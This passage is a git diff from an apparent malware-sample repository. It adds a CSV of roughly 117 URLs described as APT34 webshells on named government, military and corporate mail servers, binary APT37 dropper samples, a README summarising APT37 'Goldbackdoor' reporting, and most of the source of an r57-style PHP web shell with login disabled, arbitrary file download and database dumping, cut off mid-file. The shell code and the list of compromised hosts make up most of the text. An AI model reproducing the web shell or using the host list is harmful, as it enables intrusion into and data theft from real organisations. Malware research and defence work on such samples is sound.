Iranian/webshells.csvnew file mode 100644index 0000000..c648fb1--- /dev/null+++ b/Malwares/Advanced Malware/APT34 Iranian/webshells.csv@@ -0,0 +1,118 @@+Address,Site name,Country/region+https://202.183.235.31/owa/auth/signout.aspx,rtarf.mi.th,Thailand+https://202.183.235.4/owa/auth/signout.aspx,rtarf.mi.th,Thailand+https://122.146.71.136/owa/auth/error3.aspx,mail.taifo.com.tw,Taiwan+https://59.124.43.229/owa/auth/error0.aspx,tgpf.org.tw,Taiwan+https://202.134.62.169/owa/auth/signin.aspx,rshe13.com{outlook},Commercial+https://202.164.27.206/owa/auth/signout.aspx,wmail.hkcsl.com,Commercial+https://213.14.218.51/owa/auth/logon.aspx,botas.gov.tr{outlook},Turkey+https://88.255.182.69/owa/auth/getidtoken.aspx,mail.gulsanholding.com.tr,Turkey+https://95.0.139.4/owa/auth/logon.aspx,.nvi.gov.tr{outlook},Turkey+https://1.202.179.13/owa/auth/error1.aspx,mail.cecep.cn,China+https://1.202.179.14/owa/auth/error1.aspx,mail.cecep.cn,China+https://114.255.190.1/owa/auth/error1.aspx,mail.generali-china.cn,China+https://180.166.27.217/owa/auth/error3.aspx,exchange.bestv.com.cn,China+https://180.169.13.230/owa/auth/error1.aspx,bdo.com.cn,China+https://210.22.172.26/owa/auth/error1.aspx,lswebext.sdec.com.cn,China+https://221.5.148.230/owa/auth/outlook.aspx,mail.swsc.com.cn,China+https://222.178.70.8/owa/auth/outlook.aspx,mail.swsc.com.cn,China+https://222.66.8.76/owa/auth/error1.aspx,lswebext.sdec.com.cn,China+https://58.210.216.113/owa/auth/error1.aspx,mail.neway.com.cn,China+https://60.247.31.237/owa/auth/error3.aspx,crccre.cn,China+https://60.247.31.237/owa/auth/logoff.aspx,crccre.cn,China+https://202.104.127.218/owa/auth/error1.aspx,mail.aisidi.com,services+https://202.104.127.218/owa/auth/exppw.aspx,mail.aisidi.com,services+https://132.68.32.165/owa/auth/logout.aspx,CSEX.csf.technion.ac.il,Israel+https://132.68.32.165/owa/auth/signout.aspx,CSEX.csf.technion.ac.il,Israel+https://209.88.89.35/owa/auth/logout.aspx,mail.netone.co.zw,Zimbabwe+https://114.198.235.22/owa/auth/login.aspx,mail.its.ws,Samoa+https://114.198.237.3/owa/auth/login.aspx,mail.its.ws,Samoa+https://185.10.115.199/owa/auth/logout.aspx,sstc.com.sa,Saudi Arabia+https://195.88.204.17/owa/auth/logout.aspx,saptco.com.sa,Saudi Arabia+https://46.235.95.125/owa/auth/signin.aspx,safari.com.sa,Saudi Arabia+https://51.211.184.170/owa/auth/owaauth.aspx,uqu.edu.sa,Saudi Arabia+https://91.195.89.155/owa/auth/signin.aspx,moe.gov.sa,Saudi Arabia+https://82.178.124.59/owa/auth/gettokenid.aspx,admincourt.gov.om,Oman+https://83.244.91.132/owa/auth/logon.aspx,mail.hbtf.com.ps{outlook},Palestine+https://195.12.113.50/owa/auth/error3.aspx,MAIL.M.GOV.KZ,Kazakhstan+https://78.100.87.199/owa/auth/logon.aspx,ashghal.gov.qa{outlook},Qatar+https://110.74.202.90/owa/auth/errorff.aspx,mail.fmis.mef.gov.kh,Cambodia+https://211.238.138.68/owa/auth/error1.aspx,mailexchange.blueside.co.kr,North Korea+https://168.63.221.220/owa/auth/error3.aspx,mail.tc-gaming.co,Colombia+https://213.189.82.221/owa/auth/errorff.aspx,cait.gov.kw,Kuwait+https://205.177.180.161/owa/auth/erroref.aspx,ogero.gov.lb,Lebanon+https://77.42.251.125/owa/auth/logout.aspx,{ul.edu.lb},Lebanon+https://202.175.114.11/owa/auth/error1.aspx,webmail.netcraft.com.mo,Macau+https://202.175.31.141/owa/auth/error3.aspx,exchange.must.edu.mo,Macau+https://213.131.83.73/owa/auth/error4.aspx,ad.gov.eg{shell},Egypt+https://187.174.201.179/owa/auth/error1.aspx,correo.cns.gob.mx,Mexico+https://200.33.162.13/owa/auth/error3.aspx,sre.gob.mx,Mexico+https://202.70.34.68/owa/auth/error0.aspx,mfa.gov.mn,Myanmar+https://202.70.34.68/owa/auth/error1.aspx,mifa.gov.mn,Myanmar+https://197.253.14.10/owa/auth/logout.aspx,mail.mfaforum.gov.ng,Nigeria+https://41.203.90.221/owa/auth/logout.aspx,mail.mfaforum.gov.ng,Nigeria+http://www.abudhabiairport.ae/english/resources.aspx,www.abudhabiairport.ae,United Arab Emirates+https://mailkw.agility.com/owa/auth/RedirSuiteService.aspx,mailkw.agility.com,Kwait+http://www.ajfd.gov.ae/_layouts/workpage.aspx,www.ajfd.gov.ae,United Arab Emirates+https://mail.alfuttaim.ae/owa/auth/change_password.aspx,mail.alfuttaim.ae,United Arab Emirates+https://mail.alraidah.com.sa/owa/auth/GetLoginToken.aspx,mail.alraidah.com.sa,Saudi Arabia+http://www.alraidah.com.sa/_layouts/WrkSetlan.aspx,www.alraidah.com.sa,Saudi Arabia+https://webmail.alsalam.aero/owa/auth/EventClass.aspx,webmail.alsalam.aero,Saudi Arabia+https://webmail.bix.bh/owa/auth/Timeoutctl.aspx,webmail.bix.bh,Bahrain+https://webmail.bix.bh/owa/auth/EventClass.aspx,webmail.bix.bh,Bahrain+https://webmail.bix.bh/ecp/auth/EventClass.aspx,webmail.bix.bh,Bahrain+https://webmail.citc.gov.sa/owa/auth/timeout.aspx,webmail.citc.gov.sa,Saudi Arabia+https://mail.cma.org.sa/owa/auth/signin.aspx,mail.cma.org.sa,Saudi Arabia+https://mail.dallah-hospital.com/owa/auth/getidtokens.aspx,mail.dallah-hospital.com,Saudi Arabia+https://webmail.dha.gov.ae/owa/auth/outlookservice.aspx,webmail.dha.gov.ae,United Arab Emirates+https://webmail.dnrd.ae/owa/auth/getidtoken.aspx,webmail.dnrd.ae,United Arab Emirates+http://dnrd.ae:8080/_layouts/WrkStatLog.aspx,dnrd.ae,United Arab Emirates+https://www.dns.jo/statistic.aspx,www.dns.jo,Jordan+https://webmail.dsc.gov.ae/owa/auth/outlooklogonservice.aspx,webmail.dsc.gov.ae,United Arab Emirates+https://e-albania.al/dptaktkonstatim.aspx,e-albania.al,Albania+https://owa.e-albania.al/owa/auth/outlookdn.aspx,owa.e-albania.al,Albania+https://webmail.eminsco.com/owa/auth/outlookfilles.aspx,webmail.eminsco.com,United Arab Emirates+https://webmail.eminsco.com/owa/auth/OutlookCName.aspx,webmail.eminsco.com,United Arab Emirates+https://webmail.emiratesid.ae/owa/auth/RedirSuiteService.aspx,webmail.emiratesid.ae,United Arab Emirates+https://mailarchive.emiratesid.ae/EnterpriseVault/js/jquery.aspx,mailarchive.emiratesid.ae,United Arab Emirates+https://webmail.emiratesid.ae/owa/auth/handlerservice.aspx,webmail.emiratesid.ae,United Arab Emirates+http://staging.forus.jo/_layouts/explainedit.aspx,staging.forus.jo,Jordan+https://government.ae/tax.aspx,government.ae,United Arab Emirates+https://formerst.gulfair.com/GFSTMSSSPR/webform.aspx,formerst.gulfair.com,Bahrain+https://webmail.ictfund.gov.ae/owa/auth/owaauth.aspx,webmail.ictfund.gov.ae,United Arab Emirates+https://jaf.mil.jo/ShowContents.aspx,jaf.mil.jo,Jordan+http://www.marubi.gov.al/aspx/viewpercthesaurus.aspx,www.marubi.gov.al,Albania+https://mail.mindware.ae/owa/auth/outlooktoken.aspx,mail.mindware.ae,United Arab Emirates+https://mail.mis.com.sa/owa/auth/Redirect.aspx,mail.mis.com.sa,Saudi Arabia+https://webmail.moe.gov.sa/owa/auth/redireservice.aspx,webmail.moe.gov.sa,Saudi Arabia+https://webmail.moe.gov.sa/owa/auth/redirectcache.aspx,webmail.moe.gov.sa,Saudi Arabia+https://gis.moei.gov.ae/petrol.aspx,gis.moei.gov.ae,United Arab Emirates+https://gis.moenr.gov.ae/petrol.aspx,gis.moenr.gov.ae,United Arab Emirates+https://m.murasalaty.moenr.gov.ae/signproces.aspx,m.murasalaty.moenr.gov.ae,United Arab Emirates+https://mail.mofa.gov.iq/owa/auth/RedirSuiteService.aspx,mail.mofa.gov.iq,Iraq+http://ictinfo.moict.gov.jo/DI7Web/libraries/aspx/RegStructures.aspx,ictinfo.moict.gov.jo,Jordan+http://www.mpwh.gov.jo/_layouts/CreateAdAccounts.aspx,www.mpwh.gov.jo,Jordan+https://mail.mygov.ae/owa/auth/owalogin.aspx,mail.mygov.ae,United Arab Emirates+https://ksa.olayan.net/owa/auth/signin.aspx,ksa.olayan.net,Saudi Arabia+https://mail.omantourism.gov.om/owa/auth/GetTokenId.aspx,mail.omantourism.gov.om,Oman+https://email.omnix-group.com/owa/auth/signon.aspx,email.omnix-group.com,United Arab Emirates+https://mail.orange-jtg.jo/OWA/auth/signin.aspx,mail.orange-jtg.jo,Jordan+http://fwx1.petra.gov.jo/SEDCOWebServer/global.aspx,fwx1.petra.gov.jo,Jordan+http://fwx1.petranews.gov.jo/SEDCOWebServer/content/rtl/QualityControl.aspx,fwx1.petranews.gov.jo,Jordan+https://webmail.presflt.ae/owa/auth/logontimeout.aspx,webmail.presflt.ae,United Arab Emirates+https://webmail.qchem.com/OWA/auth/RedirectCache.aspx,webmail.qchem.com,Qatar+https://meet.saudiairlines.com/ClientResourceHandler.aspx,meet.saudiairlines.com,Saudi Arabia+https://mail.soc.mil.ae/owa/auth/expirepw.aspx,mail.soc.mil.ae,United Arab Emirates+https://email.ssc.gov.jo/owa/auth/signin.aspx,email.ssc.gov.jo,Jordan+https://mail.sts.com.jo/owa/auth/signout.aspx,mail.sts.com.jo,Jordan+http://www.sts.com.jo/_layouts/15/moveresults.aspx,www.sts.com.jo,Jordan+https://mail.tameen.ae/owa/auth/outlooklogon.aspx,mail.tameen.ae,United Arab Emirates+https://webmail.tra.gov.ae/owa/auth/outlookdn.aspx,webmail.tra.gov.ae,United Arab Emirates+http://bulksms.umniah.com/gmgweb/MSGTypesValid.aspx,bulksms.umniah.com,Jordan+https://evserver.umniah.com/index.aspx,evserver.umniah.com,Jordan+https://email.umniah.com/owa/auth/redirSuite.aspx,email.umniah.com,Jordan+https://webmail.gov.jo/owa/auth/getidtokens.aspx,webmail.gov.jo,Jordan+https://www.tra.gov.ae/signin.aspx,www.tra.gov.ae,United Arab Emirates+https://www.zakatfund.gov.ae/zfp/web/tofollowup.aspx,www.zakatfund.gov.ae,United Arab Emirates+https://mail.zayed.org.ae/owa/auth/espw.aspx,mail.zayed.org.ae,United Arab Emirates+https://mail.primus.com.jo/owa/auth/getidtoken.aspx,mail.primus.com.jo,Jordandiff --git a/Malwares/Advanced Malware/APT37 NK Reaper/Final1stspy,Dropper.bin b/Malwares/Advanced Malware/APT37 NK Reaper/Final1stspy,Dropper.binnew file mode 100644index 0000000..a61b40bBinary files /dev/null and b/Malwares/Advanced Malware/APT37 NK Reaper/Final1stspy,Dropper.bin differdiff --git a/Malwares/Advanced Malware/APT37 NK Reaper/NK.png b/Malwares/Advanced Malware/APT37 NK Reaper/NK.pngnew file mode 100644index 0000000..1822c21Binary files /dev/null and b/Malwares/Advanced Malware/APT37 NK Reaper/NK.png differdiff --git a/Malwares/Advanced Malware/APT37 NK Reaper/NK2.jpg b/Malwares/Advanced Malware/APT37 NK Reaper/NK2.jpgnew file mode 100644index 0000000..85d55c9Binary files /dev/null and b/Malwares/Advanced Malware/APT37 NK Reaper/NK2.jpg differdiff --git a/Malwares/Advanced Malware/APT37 NK Reaper/README.md b/Malwares/Advanced Malware/APT37 NK Reaper/README.mdnew file mode 100644index 0000000..af8a7a7--- /dev/null+++ b/Malwares/Advanced Malware/APT37 NK Reaper/README.md@@ -0,0 +1,14 @@+## APT37 NK Reaper+++APT37’s recent activity reveals that the group’s operations are expanding in scope and sophistication, with a toolset that includes access to zero-day vulnerabilities and wiper malware. We assess with high confidence that this activity is carried out on behalf of the North Korean government given malware development artifacts and targeting that aligns with North Korean state interests. FireEye iSIGHT Intelligence believes that APT37 is aligned with the activity publicly reported as Scarcruft and Group123.++++27 April 2022 Francesco Bussoletti Cyber, Defence and Security stated Cyber Espionage, APT37 targets journalists with Goldbackdoor++APT37 targets journalists with Goldbackdoor. Stairwell cybersecurity experts: The new North Korea’s malware spread via messages sent from the personal email of a former director of South Korea’s National Intelligence Service (NIS)++++Goldbackdoor is the last malware used by APT37 (aka Ricochet Collima, InkySquid, Reaper and ScarCruft) in a cyber espionage operation against journalists. It has been discovered by Stairwell cybersecurity experts. The North Korea’s APT attempted to impersonate NK News and distributed the new malware with spear-phishing campaigns targeting journalists who specialize in the DPRK. These messages were sent from the personal email of a former director of South Korea’s National Intelligence Service (NIS), previously compromised by the malicious hackers. Moreover, researchers assess with medium-high confidence that GOLDBACKDOOR is the successor of, or used in parallel with, the malware BLUELIGHT, also attributed to APT37.diff --git a/Malwares/Advanced Malware/Advmalware.jpg b/Malwares/Advanced Malware/Advmalware.jpgnew file mode 100644index 0000000..cdceddaBinary files /dev/null and b/Malwares/Advanced Malware/Advmalware.jpg differdiff --git a/Malwares/Advanced Malware/Albania/Backdoor.PHP.Albania.a b/Malwares/Advanced Malware/Albania/Backdoor.PHP.Albania.anew file mode 100644index 0000000..0d1f744--- /dev/null+++ b/Malwares/Advanced Malware/Albania/Backdoor.PHP.Albania.a@@ -0,0 +1,2115 @@+<!-- ALBANIA (n) SECURITY CLAN -->+++<?php+/******************************************************************************************************/+/*+/* irc.ascnet.biz+/*+/******************************************************************************************************/++// ????? ????? | Language+// $language='ru' - ??????? (russian)+// $language='eng' - english (??????????)+$language='eng';++// ?????????????? | Authentification+// $auth = 1; - ?????????????? ???????? ( authentification = On )+// $auth = 0; - ?????????????? ????????? ( authentification = Off )+$auth = 0;++// ????? ? ?????? ??? ??????? ? ??????? (Login & Password for access)+// ?? ???????? ??????? ????? ??????????? ?? ???????!!! (CHANGE THIS!!!)+// ????? ? ?????? ????????? ? ??????? ????????? md5, ???????? ?? ????????? 'r57'+// Login & password crypted with md5, default is 'r57'+$name='11f942ba7f384ddcc245810b87f659d5'; // ????? ???????????? (user login)+$pass='11f942ba7f384ddcc245810b87f659d5'; // ?????? ???????????? (user password)+/******************************************************************************************************/+error_reporting(0);+set_magic_quotes_runtime(0);+@set_time_limit(0);+@ini_set('max_execution_time',0);+@ini_set('output_buffering',0);+$safe_mode = @ini_get('safe_mode');+$version = '3.5';+if(version_compare(phpversion(), '4.1.0') == -1)+ {+ $_POST = &$HTTP_POST_VARS;+ $_GET = &$HTTP_GET_VARS;+ $_SERVER = &$HTTP_SERVER_VARS;+ $_COOKIE = &$HTTP_COOKIE_VARS;+ }+if (@get_magic_quotes_gpc())+ {+ foreach ($_POST as $k=>$v)+ {+ $_POST[$k] = stripslashes($v);+ }+ foreach ($_COOKIE as $k=>$v)+ {+ $_COOKIE[$k] = stripslashes($v);+ }+ }++if($auth == 1) {+if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass)+ {+ header('WWW-Authenticate: Basic realm="ghhghh"');+ header('HTTP/1.0 401 Unauthorized');+ exit("<b><a href=sdfsqdfsqdf>ghhghh</a> : Access Denied</b>");+ }+}+$head = '<!-- ??????????, ???? -->+<html>+<head>+<title>powered by => IRC.ASCNET.BIZ <= & => www.asc.sh <= </title>+<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">++<STYLE>+tr {+BORDER-RIGHT: #aaaaaa 1px solid;+BORDER-TOP: #eeeeee 1px solid;+BORDER-LEFT: #eeeeee 1px solid;+BORDER-BOTTOM: #aaaaaa 1px solid;+color: #ff6600;+}+td {+BORDER-RIGHT: #aaaaaa 1px solid;+BORDER-TOP: #eeeeee 1px solid;+BORDER-LEFT: #eeeeee 1px solid;+BORDER-BOTTOM: #aaaaaa 1px solid;+color: #ff6600;+}+.table1 {+BORDER: 0px;+BACKGROUND-COLOR: #333333;+color: #ff6600;+}+.td1 {+BORDER: 0px;+font: 7pt Verdana;+color: #ff6600;+}+.tr1 {+BORDER: 0px;+color: #ff6600;+}+table {+BORDER: #eeeeee 1px outset;+BACKGROUND-COLOR: #333333;+color: #ff6600;++}+input {+BORDER-RIGHT: #ffffff 1px solid;+BORDER-TOP: #999999 1px solid;+BORDER-LEFT: #999999 1px solid;+BORDER-BOTTOM: #ffffff 1px solid;+BACKGROUND-COLOR: #990000;+font: 8pt Verdana;+color: #ffff00;+}+select {+BORDER-RIGHT: #ffffff 1px solid;+BORDER-TOP: #999999 1px solid;+BORDER-LEFT: #999999 1px solid;+BORDER-BOTTOM: #ffffff 1px solid;+BACKGROUND-COLOR: #ffff00;+font: 8pt Verdana;+color: #000000;;+}+submit {+BORDER: buttonhighlight 2px outset;+BACKGROUND-COLOR: #e4e0d8;+width: 30%;+color: #000000;+}+textarea {+BORDER-RIGHT: #ffffff 1px solid;+BORDER-TOP: #999999 1px solid;+BORDER-LEFT: #999999 1px solid;+BORDER-BOTTOM: #ffffff 1px solid;+BACKGROUND-COLOR: #999999;+font: Fixedsys bold;+color: #000000;+}+BODY {+margin: 1px;+background-color: #333333;+}+A:link {COLOR:red; TEXT-DECORATION: none}+A:visited { COLOR:red; TEXT-DECORATION: none}+A:active {COLOR:red; TEXT-DECORATION: none}+A:hover {color:blue;TEXT-DECORATION: none}+</STYLE>+<script language=\'javascript\'>+function hide_div(id)+{+ document.getElementById(id).style.display = \'none\';+ document.cookie=id+\'=0;\';+}+function show_div(id)+{+ document.getElementById(id).style.display = \'block\';+ document.cookie=id+\'=1;\';+}+function change_divst(id)+{+ if (document.getElementById(id).style.display == \'none\')+ show_div(id);+ else+ hide_div(id);+}+</script>';+class zipfile+{+ var $datasec = array();+ var $ctrl_dir = array();+ var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";+ var $old_offset = 0;+ function unix2DosTime($unixtime = 0) {+ $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);+ if ($timearray['year'] < 1980) {+ $timearray['year'] = 1980;+ $timearray['mon'] = 1;+ $timearray['mday'] = 1;+ $timearray['hours'] = 0;+ $timearray['minutes'] = 0;+ $timearray['seconds'] = 0;+ }+ return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |+ ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);+ }+ function addFile($data, $name, $time = 0)+ {+ $name = str_replace('\\', '/', $name);+ $dtime = dechex($this->unix2DosTime($time));+ $hexdtime = '\x' . $dtime[6] . $dtime[7]+ . '\x' . $dtime[4] . $dtime[5]+ . '\x' . $dtime[2] . $dtime[3]+ . '\x' . $dtime[0] . $dtime[1];+ eval('$hexdtime = "' . $hexdtime . '";');+ $fr = "\x50\x4b\x03\x04";+ $fr .= "\x14\x00";+ $fr .= "\x00\x00";+ $fr .= "\x08\x00";+ $fr .= $hexdtime;+ $unc_len = strlen($data);+ $crc = crc32($data);+ $zdata = gzcompress($data);+ $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);+ $c_len = strlen($zdata);+ $fr .= pack('V', $crc);+ $fr .= pack('V', $c_len);+ $fr .= pack('V', $unc_len);+ $fr .= pack('v', strlen($name));+ $fr .= pack('v', 0);+ $fr .= $name;+ $fr .= $zdata;+ $this -> datasec[] = $fr;+ $cdrec = "\x50\x4b\x01\x02";+ $cdrec .= "\x00\x00";+ $cdrec .= "\x14\x00";+ $cdrec .= "\x00\x00";+ $cdrec .= "\x08\x00";+ $cdrec .= $hexdtime;+ $cdrec .= pack('V', $crc);+ $cdrec .= pack('V', $c_len);+ $cdrec .= pack('V', $unc_len);+ $cdrec .= pack('v', strlen($name) );+ $cdrec .= pack('v', 0 );+ $cdrec .= pack('v', 0 );+ $cdrec .= pack('v', 0 );+ $cdrec .= pack('v', 0 );+ $cdrec .= pack('V', 32 );+ $cdrec .= pack('V', $this -> old_offset );+ $this -> old_offset += strlen($fr);+ $cdrec .= $name;+ $this -> ctrl_dir[] = $cdrec;+ }+ function file()+ {+ $data = implode('', $this -> datasec);+ $ctrldir = implode('', $this -> ctrl_dir);+ return+ $data .+ $ctrldir .+ $this -> eof_ctrl_dir .+ pack('v', sizeof($this -> ctrl_dir)) .+ pack('v', sizeof($this -> ctrl_dir)) .+ pack('V', strlen($ctrldir)) .+ pack('V', strlen($data)) .+ "\x00\x00";+ }+}+function compress(&$filename,&$filedump,$compress)+ {+ global $content_encoding;+ global $mime_type;+ if ($compress == 'bzip' && @function_exists('bzcompress'))+ {+ $filename .= '.bz2';+ $mime_type = 'application/x-bzip2';+ $filedump = bzcompress($filedump);+ }+ else if ($compress == 'gzip' && @function_exists('gzencode'))+ {+ $filename .= '.gz';+ $content_encoding = 'x-gzip';+ $mime_type = 'application/x-gzip';+ $filedump = gzencode($filedump);+ }+ else if ($compress == 'zip' && @function_exists('gzcompress'))+ {+ $filename .= '.zip';+ $mime_type = 'application/zip';+ $zipfile = new zipfile();+ $zipfile -> addFile($filedump, substr($filename, 0, -4));+ $filedump = $zipfile -> file();+ }+ else+ {+ $mime_type = 'application/octet-stream';+ }+ }+function mailattach($to,$from,$subj,$attach)+ {+ $headers = "From: $from\r\n";+ $headers .= "MIME-Version: 1.0\r\n";+ $headers .= "Content-Type: ".$attach['type'];+ $headers .= "; name=\"".$attach['name']."\"\r\n";+ $headers .= "Content-Transfer-Encoding: base64\r\n\r\n";+ $headers .= chunk_split(base64_encode($attach['content']))."\r\n";+ if(@mail($to,$subj,"",$headers)) { return 1; }+ return 0;+ }+class my_sql+ {+ var $host = 'localhost';+ var $port = '';+ var $user = '';+ var $pass = '';+ var $base = '';+ var $db = '';+ var $connection;+ var $res;+ var $error;+ var $rows;+ var $columns;+ var $num_rows;+ var $num_fields;+ var $dump;++ function connect()+ {+ switch($this->db)+ {+ case 'MySQL':+ if(empty($this->port)) { $this->port = '3306'; }+ if(!function_exists('mysql_connect')) return 0;+ $this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass);+ if(is_resource($this->connection)) return 1;+ break;+ case 'MSSQL':+ if(empty($this->port)) { $this->port = '1433'; }+ if(!function_exists('mssql_connect')) return 0;+ $this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass);+ if($this->connection) return 1;+ break;+ case 'PostgreSQL':+ if(empty($this->port)) { $this->port = '5432'; }+ $str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'";+ if(!function_exists('pg_connect')) return 0;+ $this->connection = @pg_connect($str);+ if(is_resource($this->connection)) return 1;+ break;+ case 'Oracle':+ if(!function_exists('ocilogon')) return 0;+ $this->connection = @ocilogon($this->user, $this->pass, $this->base);+ if(is_resource($this->connection)) return 1;+ break;+ }+ return 0;+ }++ function select_db()+ {+ switch($this->db)+ {+ case 'MySQL':+ if(@mysql_select_db($this->base,$this->connection)) return 1;+ break;+ case 'MSSQL':+ if(@mssql_select_db($this->base,$this->connection)) return 1;+ break;+ case 'PostgreSQL':+ return 1;+ break;+ case 'Oracle':+ return 1;+ break;+ }+ return 0;+ }++ function query($query)+ {+ $this->res=$this->error='';+ switch($this->db)+ {+ case 'MySQL':+ if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection)))+ {+ $this->error = @mysql_error($this->connection);+ return 0;+ }+ else if(is_resource($this->res)) { return 1; }+ return 2;+ break;+ case 'MSSQL':+ if(false===($this->res=@mssql_query($query,$this->connection)))+ {+ $this->error = 'Query error';+ return 0;+ }+ else if(@mssql_num_rows($this->res) > 0) { return 1; }+ return 2;+ break;+ case 'PostgreSQL':+ if(false===($this->res=@pg_query($this->connection,$query)))+ {+ $this->error = @pg_last_error($this->connection);+ return 0;+ }+ else if(@pg_num_rows($this->res) > 0) { return 1; }+ return 2;+ break;+ case 'Oracle':+ if(false===($this->res=@ociparse($this->connection,$query)))+ {+ $this->error = 'Query parse error';+ }+ else+ {+ if(@ociexecute($this->res))+ {+ if(@ocirowcount($this->res) != 0) return 2;+ return 1;+ }+ $error = @ocierror();+ $this->error=$error['message'];+ }+ break;+ }+ return 0;+ }+ function get_result()+ {+ $this->rows=array();+ $this->columns=array();+ $this->num_rows=$this->num_fields=0;+ switch($this->db)+ {+ case 'MySQL':+ $this->num_rows=@mysql_num_rows($this->res);+ $this->num_fields=@mysql_num_fields($this->res);+ while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res)));+ @mysql_free_result($this->res);+ if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}+ break;+ case 'MSSQL':+ $this->num_rows=@mssql_num_rows($this->res);+ $this->num_fields=@mssql_num_fields($this->res);+ while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res)));+ @mssql_free_result($this->res);+ if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;};+ break;+ case 'PostgreSQL':+ $this->num_rows=@pg_num_rows($this->res);+ $this->num_fields=@pg_num_fields($this->res);+ while(false !== ($this->rows[] = @pg_fetch_assoc($this->res)));+ @pg_free_result($this->res);+ if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}+ break;+ case 'Oracle':+ $this->num_fields=@ocinumcols($this->res);+ while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++;+ @ocifreestatement($this->res);+ if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}+ break;+ }+ return 0;+ }+ function dump($table)+ {+ if(empty($table)) return 0;+ $this->dump=array();+ $this->dump[0] = '##';+ $this->dump[1] = '## --------------------------------------- ';+ $this->dump[2] = '## Created: '.date ("d/m/Y H:i:s");+ $this->dump[3] = '## Database: '.$this->base;+ $this->dump[4] = '## Table: '.$table;+ $this->dump[5] = '## --------------------------------------- ';+ switch($this->db)+ {+ case 'MySQL':+ $this->dump[0] = '## MySQL dump';+ if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0;+ if(!$this->get_result()) return 0;+ $this->dump[] = $this->rows[0]['Create Table'];+ $this->dump[] = '## --------------------------------------- ';+ if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0;+ if(!$this->get_result()) return 0;+ for($i=0;$i<$this->num_rows;$i++)+ {+ foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysql_real_escape_string($v);}+ $this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `", $this->columns).'`) VALUES (\''.@implode("', '", $this->rows[$i]).'\');';+ }+ break;+ case 'MSSQL':+ $this->dump[0] = '## MSSQL dump';+ if($this->query('SELECT * FROM '.$table)!=1) return 0;+ if(!$this->get_result()) return 0;+ for($i=0;$i<$this->num_rows;$i++)+ {+ foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}+ $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';+ }+ break;+ case 'PostgreSQL':+ $this->dump[0] = '## PostgreSQL dump';+ if($this->query('SELECT * FROM '.$table)!=1) return 0;+ if(!$this->get_result()) return 0;+ for($i=0;$i<$this->num_rows;$i++)+ {+ foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}+ $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';+ }+ break;+ case 'Oracle':+ $this->dump[0] = '## ORACLE dump';+ $this->dump[] = '## under construction';+ break;+ default:+ return 0;+ break;+ }+ return 1;+ }+ function close()+ {+ switch($this->db)+ {+ case 'MySQL':+ @mysql_close($this->connection);+ break;+ case 'MSSQL':+ @mssql_close($this->connection);+ break;+ case 'PostgreSQL':+ @pg_close($this->connection);+ break;+ case 'Oracle':+ @oci_close($this->connection);+ break;+ }+ }+ function affected_rows()+ {+ switch($this->db)+ {+ case 'MySQL':+ return @mysql_affected_rows($this->res);+ break;+ case 'MSSQL':+ return @mssql_affected_rows($this->res);+ break;+ case 'PostgreSQL':+ return @pg_affected_rows($this->res);+ break;+ case 'Oracle':+ return @ocirowcount($this->res);+ break;+ default:+ return 0;+ break;+ }+ }+ }+if(!empty($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name']))+ {+ if(!$file=@fopen($_POST['d_name'],"r")) { err(1,$_POST['d_name']); $_POST['cmd']=""; }+ else+ {+ @ob_clean();+ $filename = @basename($_POST['d_name']);+ $filedump = @fread($file,@filesize($_POST['d_name']));+ fclose($file);+ $content_encoding=$mime_type='';+ compress($filename,$filedump,$_POST['compress']);+ if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); }+ header("Content-type: ".$mime_type);+ header("Content-disposition: attachment; filename=\"".$filename."\";");+ echo $filedump;+ exit();+ }+ }+if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); }+if (!empty($_POST['cmd']) && $_POST['cmd']=="db_query")+ {+ echo $head;+ $sql = new my_sql();+ $sql->db = $_POST['db'];+ $sql->host = $_POST['db_server'];+ $sql->port = $_POST['db_port'];+ $sql->user = $_POST['mysql_l'];+ $sql->pass = $_POST['mysql_p'];+ $sql->base = $_POST['mysql_db'];+ $querys = @explode(';',$_POST['db_query']);++ if(!$sql->connect()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to SQL server</b></font></div>";+ else+ {+ if(!empty($sql->base)&&!$sql->select_db()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't select database</b></font></div>";+ else+ {+ foreach($querys as $num=>$query)+ {+ if(strlen($query)>5)+ {+ echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)."</b></font><br>";+ switch($sql->query($query))+ {+ case '0':+ echo "<table 